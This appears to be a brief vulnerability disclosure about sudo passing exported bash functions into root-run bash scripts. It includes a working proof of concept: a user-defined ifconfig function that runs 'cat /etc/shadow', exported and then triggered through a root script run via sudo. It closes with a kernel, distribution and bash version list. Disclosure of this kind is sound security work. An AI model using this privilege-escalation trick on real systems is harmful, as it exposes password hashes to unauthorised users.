When you run sudo, and the function being run is in bash, any functions that
were exported as the original user are carried over to the new shell. This means
that if a bash shell has any unresolved commands (such as "grep", or ifconfig)
those commands could be circumvented to do something else by inserting a shell
function. Trivial example:

Make a bash script as root, and set to excecutable (we'll call it /sbin/testscript):
--
#/bin/bash
ifconfig -a
--

Then, as a user, type the following on the commandline:
---
function ifconfig () {
 cat /etc/shadow
}
export -f ifconfig
----
then, run the script with sudo
----
sudo /sbin/testscript

--------

environment:
linux 2.6.8.1
StrongBox Linux (gentoo variant)
bash 2.0.5b
glibc 2.3.4 (gentoo patches)